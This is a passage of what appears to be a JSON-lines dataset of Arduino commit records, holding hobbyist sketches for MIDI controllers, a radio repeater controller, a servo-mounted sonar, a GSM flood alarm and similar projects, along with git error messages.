String findName = \"\\\"\";\n \n}\n\/\/ END SPLIT UP STRINGS\n\n\/\/ FLOAT TO STRING\n\nString floatToString(float inputFloat){\nchar CharBuffer[10]; \ndtostrf(inputFloat,1,2,CharBuffer);\nString floatString = String(CharBuffer); \nreturn floatString;\n}\n\/\/ END FLOAT TO STRING\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266Module-Base-Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5db376a48e26973270ccb5baf9aeb3d673ad4f7d","subject":"Add Oak example","message":"Add Oak example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/BoardsAndShields\/Digistump_Oak\/Digistump_Oak.ino","new_file":"examples\/BoardsAndShields\/Digistump_Oak\/Digistump_Oak.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use Digistump Oak with Blynk.\n *\n * Please be sure to select the right board type\n * in the Tools -> Board menu!\n *\n * Change Blynk auth token to run :)\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/ Oak has already configured WiFi\n Blynk.config(auth);\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BoardsAndShields\/Digistump_Oak\/Digistump_Oak.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39d564659306f3fc638cadbc6112ed6c7ed74c79","subject":"New version for use with Teensy devices added","message":"New version for use with Teensy devices added\n","repos":"TravisThatcher\/WheelController","old_file":"src\/WC_Teensy_3.2\/WC_Teensy_3.2.ino","new_file":"src\/WC_Teensy_3.2\/WC_Teensy_3.2.ino","new_contents":"\/*\n WheelController Basic for Teensy 3.2\n July 2017 - Travis Thatcher recompas@gmail.com\n*\/\n\n \n\/************** EDIT HERE ****************\/\nstatic boolean test = false; \/\/ for debugging\nboolean calibrateonstartup = false; \/\/ turn on calibration mode\nlong calibrateTime = 5000; \/\/ for 5 seconds after power on move both wheels to their extremes to calibrate\nint startTime = 0;\n\n\/\/ MIDI channel to send messages to\nconst int channelOut = 1;\n\n\/\/ MIDI CC Number for 2nd wheel and pots\nconst int CONTROLWHEEL1 = 1;\n\n\/************ END EDIT HERE **************\/\n\nint lastWheel0 = 0;\nint lastWheel1 = 0;\n\nconst int numReadings = 30;\n\nint wheel0Min = 405;\nint wheel1Min = 405;\n\nint wheel0Max = 600;\nint wheel1Max = 600;\n\nboolean cMode = false;\n\nint wheel0Raw = 0;\nint wheel1Raw = 0;\n\n\nint idx=0;\nint readings0[numReadings];\nint readings1[numReadings];\n\nint wheel0Total = 0;\nint wheel1Total = 0;\n\nint wheel0Avg = 0;\nint wheel1Avg = 0;\n\nint WHEEL0 = A0;\nint WHEEL1 = A2;\n\nvoid setup() {\n\n startTime = millis();\n pinMode(8, INPUT);\n pinMode(13, OUTPUT);\n if(test==true){\n Serial.begin(9600); \n }\n readings0[0]=0;\n readings1[0]=0;\n\n \/\/ turn on the lights\n pinMode(22, OUTPUT);\n pinMode(23, OUTPUT);\n\n digitalWrite(22, HIGH);\n digitalWrite(23, HIGH);\n\n}\n\nvoid calibrate_wheels(){\n wheel0Raw = analogRead(WHEEL0);\n wheel1Raw = analogRead(WHEEL1);\n \n \/\/ record the maximum sensor value\n if (wheel0Raw > wheel0Max) {\n wheel0Max = wheel0Raw;\n }\n \n if (wheel1Raw > wheel1Max){\n wheel1Max = wheel1Raw;\n }\n \n \/\/ record the minimum sensor value\n if (wheel0Raw < wheel0Min) {\n wheel0Min = wheel0Raw;\n }\n if (wheel1Raw < wheel1Min) {\n wheel1Min = wheel1Raw;\n } \n\n}\n\nvoid loop() {\n\n \/\/int calibrate = digitalRead(8);\n \n if(calibrateonstartup){\n if(cMode==false){\n cMode=true;\n wheel0Min = 1500;\n wheel1Min = 1500;\n wheel0Max = 0;\n wheel1Max = 0;\n \n }\n\n if((millis()-startTime)>calibrateTime){\n calibrateonstartup=false;\n }\n calibrate_wheels(); \n return;\n \n }else{\n cMode=false;\n }\n \n \/\/ average the readings!\n wheel0Total = wheel0Total - readings0[idx];\n wheel1Total = wheel1Total - readings1[idx];\n \n readings0[idx] = analogRead(WHEEL0);\n readings1[idx] = analogRead(WHEEL1);\n \/*\n Serial.print(\"Pitch Bend \");\n Serial.println(analogRead(WHEEL0));\n Serial.print(\"Mod Wheel \");\n Serial.println(analogRead(WHEEL1));\n *\/\n\n \n wheel0Total = wheel0Total + readings0[idx];\n wheel1Total = wheel1Total + readings1[idx];\n \n idx = idx + 1;\n \n if(idx >= numReadings){\n idx=0;\n }\n \n wheel0Avg = wheel0Total \/ numReadings;\n wheel1Avg = wheel1Total \/ numReadings;\n \n \/\/ Process Mod cc\n if(wheel0Avg<wheel0Min){\n wheel0Avg=wheel0Min;\n }\n \n if(wheel0Avg>wheel0Max){\n wheel0Avg=wheel0Max;\n }\n int mappedWheel0 = map(wheel0Avg, wheel0Min, wheel0Max, 0, 16383);\n\n \n if(mappedWheel0>16000) mappedWheel0 = 16383;\n if(mappedWheel0<200) mappedWheel0 = 0;\n\n \n if(mappedWheel0<8800 && mappedWheel0>7500){\n mappedWheel0=8191; \n }\n \n if(mappedWheel0>lastWheel0+150||mappedWheel0<lastWheel0-150){\n \n lastWheel0 = mappedWheel0;\n \n \n if(test==false){\n usbMIDI.sendPitchBend(mappedWheel0, channelOut);\n }else{\n Serial.println(\"pitch bend\");\n Serial.println(mappedWheel0);\n }\n }\n \n \/\/ Process Volume cc\n\n int mappedWheel1 = map(wheel1Avg, wheel1Min, wheel1Max, 0, 127); \/\/map value to 0-127\n\n if(mappedWheel1>124) mappedWheel1 = 127;\n if(mappedWheel1<4) mappedWheel1 = 0;\n\n if(mappedWheel1>lastWheel1+2||mappedWheel1<lastWheel1-2){\n lastWheel1=mappedWheel1;\n \n if(test==false){\n usbMIDI.sendControlChange(CONTROLWHEEL1, mappedWheel1, channelOut);\n }else{\n Serial.println(\"mod wheel\");\n Serial.println(mappedWheel1);\n }\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/WC_Teensy_3.2\/WC_Teensy_3.2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"369dba6a41482536a00d6bcdb58fdacb13869e9f","subject":"Removed ATWIN Kura Sample: Replaced with KuraPub","message":"Removed ATWIN Kura Sample: Replaced with KuraPub\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Examples\/AtwinKURA\/AtwinKURA.ino","new_file":"AfricasTalkingCloud\/Examples\/AtwinKURA\/AtwinKURA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cc76d00ec5fab2fa599e03de995fdc798647d15c","subject":"Funny action : ajout du code","message":"Funny action : ajout du code\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_file":"Module Funny Action\/Software\/Funny_action\/Funny_action.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Funny' did not match any file(s) known to git\nerror: pathspec 'Action\/Software\/Funny_action\/Funny_action.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29601efaae9f6d8d83018aa23ab8080cc2fc23d6","subject":"updatedisplays func","message":"updatedisplays func\n","repos":"jacksonsouza\/muffet,jacksonsouza\/muffet","old_file":"firmware\/muffet.ino","new_file":"firmware\/muffet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jacksonsouza\/muffet.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"40a46792eb8c0c609a0e1f22676ca37cf8fbb9b6","subject":"Added ID functionality.","message":"Added ID functionality.\n","repos":"dandrzejewski\/arduino-repeater-controller","old_file":"RepeaterController\/RepeaterController.ino","new_file":"RepeaterController\/RepeaterController.ino","new_contents":"#include \"morse.h\"\n\/*\n\nAn Arduino-based repeater controller.\n\nAuthor: David Andrzejewski\n\n\n*\/\n\n\n\/\/ Configure here.\nconst int pinPtt = 2;\nconst int pinCor = 3;\nconst int pinPttLed = 13;\n\n\/\/ Default is to have PTT pulled to ground when engaged, and open when disengaged.\nconst int pttEngaged = LOW;\nconst int pttDisengaged = HIGH;\n\n\/\/ Timeout timer values\nconst unsigned long timeoutTimer = 50000;\n\n\n\/\/ How often do we need to ID? A good value would probably be about 9.5 minutes.\nconst unsigned long idTimerInterval = 10000;\n\n\/\/ ***** You probably do not need to touch anything below *****\n\n\/\/ Track the last keyup time\nunsigned long lastPttKeyupTime = 0;\n\n\/\/ Track the ID timer\nunsigned long idTimerStartTime = 0;\n\nunsigned long timeoutTimerStartTime = 0;\n\nint currentPttStatus = pttDisengaged;\nint pttStatusBeforeId = pttDisengaged;\nint currentCorStatus = LOW;\nboolean timedOut = false;\nboolean idInProgress = false;\n\n\/\/ Morse code ID values\n\/*\nAccording to http:\/\/www.nu-ware.com\/NuCode%20Help\/index.html?morse_code_structure_and_timing_.htm,\n\nDash Length = Dot length * 3\nPause between elements = dot length\nPause between characters = dot length * 3\nPause between words = dot length * 7\n\nSpeed (wpm = 2.4 * dots per second\n\n*\/\n\nSpeakerMorseSender morse(4, 880, -1, 24);\n\nvoid setup() {\n \n Serial.begin(9600);\n \n \/\/ Set up the PTT pin as an output\n pinMode(pinPtt, OUTPUT);\n\n \/\/ Ensure we start with the PTT pin high (off).\n digitalWrite(pinPtt, pttDisengaged);\n\n \/\/ Set up the COR pin as an input\n pinMode(pinCor, INPUT);\n\n pinMode(pinPttLed, OUTPUT);\n digitalWrite(pinPttLed, LOW);\n\n morse.setup();\n morse.setMessage(String(\"kd8twg\/r\"));\n\n}\n\nvoid loop() {\n if (timedOut) {\n if (digitalRead(pinCor) == LOW) {\n stopTimeoutTimer();\n } else {\n return;\n }\n }\n\n \/\/ When COR goes high, PTT needs to engage.\n if (digitalRead(pinCor) == HIGH && currentPttStatus == pttDisengaged) {\n setPtt(pttEngaged, true);\n }\n\n \/\/ If we have an ID in progress, we need to keep PTT engaged.\n if (currentPttStatus == pttDisengaged && idInProgress) {\n setPtt(pttEngaged, false);\n }\n\n \/\/ When COR goes low, PTT needs to disengage (if no ID is in progress)\n if (digitalRead(pinCor) == LOW && currentPttStatus == pttEngaged && !idInProgress) {\n setPtt(pttDisengaged, false);\n }\n\n\n doIdIfNeeded();\n\n if (!idInProgress) {\n doTimeoutIfNeeded();\n }\n \n}\n\n\/\/ Sets the PTT pin and sets up timers related to PTT (ID and Timeout)\nvoid setPtt(int argPttHighLow, boolean startIdTimer) {\n\n \/\/ If we are just starting PTT, start the timeout timer.\n if (argPttHighLow == pttEngaged && currentPttStatus == pttDisengaged) {\n startTimeoutTimer();\n }\n\n \/\/ If we are stopping PTT, shut off the timeout timer.\n else if (argPttHighLow == pttDisengaged && currentPttStatus == pttEngaged) {\n stopTimeoutTimer();\n }\n\n \/\/ Track current PTT status\n currentPttStatus = argPttHighLow;\n\n \/\/ Start the ID timer - this does not get stopped or reset until ID happens.\n if (argPttHighLow == pttEngaged && startIdTimer) {\n startIdTimerIfNeeded();\n }\n\n\n \/\/ Set the PTT pin - but don't touch it if an ID is in progress.\n \n if (!idInProgress) {\n digitalWrite(pinPtt, argPttHighLow);\n digitalWrite(pinPttLed, !argPttHighLow);\n }\n\n}\n\n\/\/ If the ID timer hasn't been started, start it.\nvoid startIdTimerIfNeeded() {\n if (idTimerStartTime == 0 && currentPttStatus == pttEngaged) {\n Serial.println(\"Starting ID timer.\");\n idTimerStartTime = millis();\n }\n}\n\n\/\/ If it's time to do an ID, do it.\nvoid doIdIfNeeded() {\n if (!morse.continueSending()) {\n idInProgress = false;\n\n if (millis() - idTimerStartTime > idTimerInterval && idTimerStartTime != 0) {\n\n Serial.println(\"Starting morse ID...\");\n\n idTimerStartTime = 0;\n \n if (currentPttStatus == pttEngaged) {\n startIdTimerIfNeeded();\n }\n\n setPtt(pttEngaged, false);\n \n delay(250);\n\n idInProgress = true;\n\n morse.startSending();\n\n }\n }\n\n}\n\n\/\/ Start the timeout timer.\nvoid startTimeoutTimer() {\n Serial.println(\"Starting timeout timer.\");\n timeoutTimerStartTime = millis();\n timedOut = false;\n}\n\n\/\/ Stop the timeout timer.\nvoid stopTimeoutTimer() {\n Serial.println(\"Stopping timeout timer.\");\n timeoutTimerStartTime = 0;\n timedOut = false;\n}\n\n\/\/ Time out if needed.\nvoid doTimeoutIfNeeded() {\n if (currentPttStatus == pttEngaged && millis() - timeoutTimerStartTime > timeoutTimer) {\n Serial.println(\"Timed out.\");\n setPtt(pttDisengaged, false);\n timedOut = true;\n }\n}\n","old_contents":"\/*\n\nAn Arduino-based repeater controller.\n\nAuthor: David Andrzejewski\n\n\n*\/\n\n\nconst int pinPtt = 2;\nconst int pinCor = 3;\n\nconst int pinPttLed = 13;\n\nint currentPttStatus = LOW;\nint currentCorStatus = LOW;\n\n\/\/ How often do we need to ID? A good value would probably be about 9.5 minutes.\nconst unsigned long idTimerInterval = 30000;\n\n\/\/ Track the last keyup time\nunsigned long lastPttKeyupTime = 0;\n\n\/\/ Track the ID timer\nunsigned long idTimerStartTime = 0;\nboolean pendingId = false;\n\n\/\/ Timeout timer values\nconst unsigned long timeoutTimer = 5000;\nunsigned long timeoutTimerStartTime = 0;\n\nboolean timedOut = false;\n\n\/\/ Morse code ID values\n\/*\nAccording to http:\/\/www.nu-ware.com\/NuCode%20Help\/index.html?morse_code_structure_and_timing_.htm,\n\nDash Length = Dot length * 3\nPause between elements = dot length\nPause between characters = dot length * 3\nPause between words = dot length * 7\n\nSpeed (wpm = 2.4 * dots per second\n\n*\/\n\n\/\/ All lengths in millis - 100ms = 24wpm\nconst int dotLength = 100;\nconst int pauseBetweenElements = dotLength;\nconst int pauseBetweenCharacters = dotLength * 3;\nconst int pauseBetweenWords = dotLength * 7;\n\nvoid setup() {\n \/\/ Set up the PTT pin as an output\n pinMode(pinPtt, OUTPUT);\n\n \/\/ Ensure we start with the PTT pin low.\n digitalWrite(pinPtt, LOW);\n\n \/\/ Set up the COR pin as an input\n pinMode(pinCor, INPUT);\n\n pinMode(pinPttLed, OUTPUT);\n digitalWrite(pinPttLed, LOW);\n\n}\n\nvoid loop() {\n if (timedOut) {\n if (digitalRead(pinCor) == LOW) {\n stopTimeoutTimer();\n } else {\n return;\n }\n }\n\n \/\/ When COR goes high, PTT needs to go high.\n if (digitalRead(pinCor) == HIGH && currentPttStatus == LOW) {\n setPtt(HIGH);\n }\n\n \/\/ When COR goes low, PTT needs to go low.\n if (digitalRead(pinCor) == LOW && currentPttStatus == HIGH) {\n setPtt(LOW);\n }\n\n\n doIdIfNeeded();\n\n doTimeoutIfNeeded();\n\n}\n\n\/\/ Sets the PTT pin and sets up timers related to PTT (ID and Timeout)\nvoid setPtt(int argPttHighLow) {\n\n \/\/ If we are just starting PTT, start the timeout timer.\n if (argPttHighLow == HIGH && currentPttStatus == LOW) {\n startTimeoutTimer();\n }\n\n \/\/ If we are stopping PTT, shut off the timtout timer.\n else if (argPttHighLow == LOW && currentPttStatus == HIGH) {\n stopTimeoutTimer();\n }\n\n \/\/ Start the ID timer - this does not get stopped or reset until ID happens.\n if (argPttHighLow == HIGH) {\n startIdTimerIfNeeded();\n }\n\n \/\/ Track current PTT status\n currentPttStatus = argPttHighLow;\n\n \/\/ Set the PTT pin.\n digitalWrite(pinPtt, argPttHighLow);\n\n digitalWrite(pinPttLed, argPttHighLow);\n\n}\n\n\/\/ If the ID timer hasn't been started, start it.\nvoid startIdTimerIfNeeded() {\n if (idTimerStartTime == 0 && digitalRead(pinPtt) == HIGH) {\n idTimerStartTime = millis();\n }\n}\n\n\/\/ If it's time to do an ID, do it.\nvoid doIdIfNeeded() {\n if (millis() - idTimerStartTime > idTimerInterval) {\n \/\/ Do the ID\n\n \/\/ Reset the timer\n idTimerStartTime = 0;\n\n }\n}\n\n\/\/ Start the timeout timer.\nvoid startTimeoutTimer() {\n timeoutTimerStartTime = millis();\n timedOut = false;\n}\n\n\/\/ Stop the timeout timer.\nvoid stopTimeoutTimer() {\n timeoutTimerStartTime = 0;\n timedOut = false;\n}\n\n\/\/ Time out if needed.\nvoid doTimeoutIfNeeded() {\n if (currentPttStatus == HIGH && millis() - timeoutTimerStartTime > timeoutTimer) {\n setPtt(LOW);\n timedOut = true;\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"dd57440f73522913b47874aaeb13160c25efa3e5","subject":"Pseudo code of the eeprom writer \/ reader","message":"Pseudo code of the eeprom writer \/ reader\n","repos":"johnny-five-io\/nodebots-interchange,j5js\/nodebots-interchange,ajfisher\/nodebots-interchange","old_file":"utils\/src\/eep_writer\/eep_writer.ino","new_file":"utils\/src\/eep_writer\/eep_writer.ino","new_contents":"\/** \n\nName: EEPROM Writer\nAuthor: Andrew fisher\nversion: 0.1\nDescription:\n\nThis application is used to set certain eeprom values on an arduino in order to\noverride the defaults supplied by a particular firmware. In particular this allows\na binary firmware to be shipped for a backpack without the end user having to\ncompile things but allows the end user to configure an I2C address in the advent\nof a clash.\n\n**\/\n\n\n\/**\n\n* Establish comms with serial connection.\n* Read value reads the EEPROM and then outputs this value to the serial connection\n* write value takes a value from the serial connection and writes this to the eeprom\n\n* Keep this generic so that it basically reads and writes a given number of \nbytes to a specific address space and that's all it does and then leave the \nconfiguration aspect of this to the JS side.\n\n**\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/src\/eep_writer\/eep_writer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2af026091f5ffd4203f84be135ff18a03c2921cd","subject":"initialized midi io","message":"initialized midi io\n","repos":"jjrh\/teensy_synth","old_file":"midi_io.ino","new_file":"midi_io.ino","new_contents":"#include <MIDI.h>\n\nconst int channel = 1;\nunsigned long t=0;\n\nvoid setup() {\n MIDI.begin(MIDI_CHANNEL_OMNI);\n Serial.begin(57600);\n Serial.println(\"MIDI Input Test\");\n\n}\n\nvoid loop(){\n midi_input();\n \/\/ output();\n \/\/ delay(2000);\n\n}\n\nvoid midi_input() {\n int type, note, velocity, channel, d1, d2;\n if (MIDI.read()) { \/\/ Is there a MIDI message incoming ?\n Serial.println(\"midi read\\n\");\n byte type = MIDI.getType();\n switch (type) {\n case NoteOn:\n note = MIDI.getData1();\n velocity = MIDI.getData2();\n channel = MIDI.getChannel();\n if (velocity > 0) {\n Serial.println(String(\"Note On: ch=\") + channel + \", note=\" + note + \", velocity=\" + velocity);\n } else {\n Serial.println(String(\"Note Off: ch=\") + channel + \", note=\" + note);\n }\n break;\n case NoteOff:\n note = MIDI.getData1();\n velocity = MIDI.getData2();\n channel = MIDI.getChannel();\n Serial.println(String(\"Note Off: ch=\") + channel + \", note=\" + note + \", velocity=\" + velocity);\n break;\n default:\n d1 = MIDI.getData1();\n d2 = MIDI.getData2();\n Serial.println(String(\"Message, type=\") + type + \", data = \" + d1 + \" \" + d2);\n }\n t = millis();\n }\n if (millis() - t > 10000) {\n t += 10000;\n Serial.println(\"(inactivity)\");\n }\n}\n\nvoid output(){\n int note;\n for (note=10; note <= 127; note++) {\n MIDI.sendNoteOn(note, 100, channel);\n Serial.print(note);\n Serial.print(\" \");\n Serial.print(100);\n Serial.print(\" \");\n Serial.println(channel);\n delay(200);\n MIDI.sendNoteOff(note, 100, channel);\n }\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b126b64889a1cc0630f0c957889f48c1bc7108e3","subject":"Adds a delay so that the slave master clock stay in sync.","message":"Adds a delay so that the slave master clock stay in sync.\n","repos":"maleagha\/PaceClock","old_file":"Two7SegmentLED\/Two7SegmentLED_RX\/Two7SegmentLED_RX.ino","new_file":"Two7SegmentLED\/Two7SegmentLED_RX\/Two7SegmentLED_RX.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/maleagha\/PaceClock.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a85284881dbea566b57808c53e5d0bebef58eb33","subject":"add radar with new ping lib","message":"add radar with new ping lib\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/servo-radar2.ino","new_file":"testing\/arduino\/servo-radar2.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n\n\/\/ Base Date\nconst uint16_t initialDelay = 2500;\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\nconst uint16_t maxDistance = 300;\n\nNewPing sonar(trigPin, echoPin, maxDistance);\n\n\nlong rangeData_Left[15];\nlong average_Left;\nlong rangeData_Center[10];\nlong average_Center;\nlong rangeData_Right[15];\nlong average_Right;\nuint8_t rangeDataIndex = 0;\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nconst uint8_t servoRotationAngel = 10;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\ndirection servoLocation = center;\n\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ Starts the serial communication\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin);\n ServoMotor.write(servoPos);\n}\n\n\nvoid CalculateAverageRange()\n{\n long range = sonar.ping_cm();\n\n long *rangeData_Current;\n\n \/\/ get current meassurement and add to array\n if(servoLocation == left)\n {\n rangeData_Left[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Left;\n }\n\n if(servoLocation == center)\n {\n rangeData_Center[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Center;\n }\n\n if(servoLocation == right)\n {\n rangeData_Right[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Right;\n }\n\n direction servoLocationLast = servoLocation;\n direction servoMovementLast = servoMovement;\n\n \/\/ Get the next Angle and Move the Servo\n ServoMotor.write(GetNextServoAngle());\n delay(25);\n\n \/\/ if the new servo location is different from the one before calculate an anverage\n if(servoLocation != servoLocationLast || servoMovement != servoMovementLast)\n {\n long summedUp = 0;\n for (int i = 0; i < rangeDataIndex; i++)\n {\n summedUp += rangeData_Current[i];\n rangeData_Current[i] = 0;\n }\n\n long average = summedUp\/rangeDataIndex;\n if(servoLocationLast == left) { average_Left = average; }\n if(servoLocationLast == center) { average_Center = average; }\n if(servoLocationLast == right) { average_Right = average; }\n\n rangeDataIndex = 0;\n }\n}\n\n\nuint8_t GetNextServoAngle()\n{\n \/\/ 0 - 80 \/ 80 - 100 \/ 100 - 180\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n\n if(servoPos < 80)\n {\n servoLocation = left;\n }\n\n if(servoPos >= 80 && servoPos <= 100)\n {\n servoLocation = center;\n }\n\n if(servoPos > 100)\n {\n servoLocation = right;\n }\n\n\n return servoPos;\n}\n\n\nvoid loop()\n{\n\n CalculateAverageRange();\n\n \/\/ Wait for initial scans before performing any actions\n if(millis() < initialDelay)\n {\n return;\n }\n\n long range = average_Center;\n Serial.println(average_Center);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/servo-radar2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"00145f0934c3fcf9120937c3938d74b301c22c47","subject":"Testing on front desk","message":"Testing on front desk\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/ciao_test\/ciao_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68ec88f5472806044e09be64d1439b31a9585b41","subject":"first commit flood detector","message":"first commit flood detector\n","repos":"deepanrajm\/arduino","old_file":"Flood_Detector_with_GSM\/Flood_detector.ino","new_file":"Flood_Detector_with_GSM\/Flood_detector.ino","new_contents":"#include<LiquidCrystal.h>\n#include<SoftwareSerial.h>\nLiquidCrystal lcd(12,11,5,4,3,2);\nSoftwareSerial mySerial(9,10); \/\/Rx, Tx.\n\nvoid setup() \n{\n lcd.begin(16,2);\n pinMode(8,INPUT);\n pinMode(13,OUTPUT);\n mySerial.begin(9600);\n Serial.begin(9600);\n\n}\n\nvoid loop() {\nint moisture=digitalRead(8);\n Serial.print(\"The moisture value is:\");\n Serial.println(moisture);\n delay(1000);\n if(moisture==HIGH)\n {\n digitalWrite(13,LOW);\n lcd.setCursor(0,0);\n lcd.print(\" Flood Detector \");\n lcd.setCursor(0,1);\n lcd.print(\" Normal State... \");\n Serial.println(\"Everything is normal condition\");\n delay(1000);\n }\n else if(moisture==LOW)\n {\n mySerial.println(\"AT+CMGF=1\"); \/\/Sets the GSM Module in Text Mode\n delay(1000); \/\/ Delay of 1000 milli seconds or 1 second\n mySerial.println(\"AT+CMGS=\\\"+911234567890\\\"\\r\"); \/\/ Replace x with mobile number\n delay(1000);\n mySerial.println(\"Its Alert message from Cauvery Dam!!!! \\n Flood Alert!!! \\n \");\/\/ The SMS text you want to send\n delay(100);\n mySerial.println((char)26);\/\/ ASCII code of CTRL+Z\n delay(1000);\n\n digitalWrite(13,HIGH);\n lcd.setCursor(0,0);\n lcd.print(\" Flood Detector \");\n lcd.setCursor(0,1);\n lcd.print(\" Flood Alert!!!! \");\n Serial.println(\"Flood Alert!!!!!\");\n delay(8000);\n }\n else\n {\n lcd.setCursor(0,0);\n lcd.print(\" Flood Detector \");\n lcd.setCursor(0,1);\n lcd.print(\" Final year ECE \");\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Flood_Detector_with_GSM\/Flood_detector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc22d7eb0d6e232893da43ad21f4d06356b6ac85","subject":"Set arduino serial BPS to 4800","message":"Set arduino serial BPS to 4800\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3bb61f1df7ebd66b7879bee886a891e0aaec235e","subject":"First commit","message":"First commit\n","repos":"jromie0924\/Helios","old_file":"Helios.ino","new_file":"Helios.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n #define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, 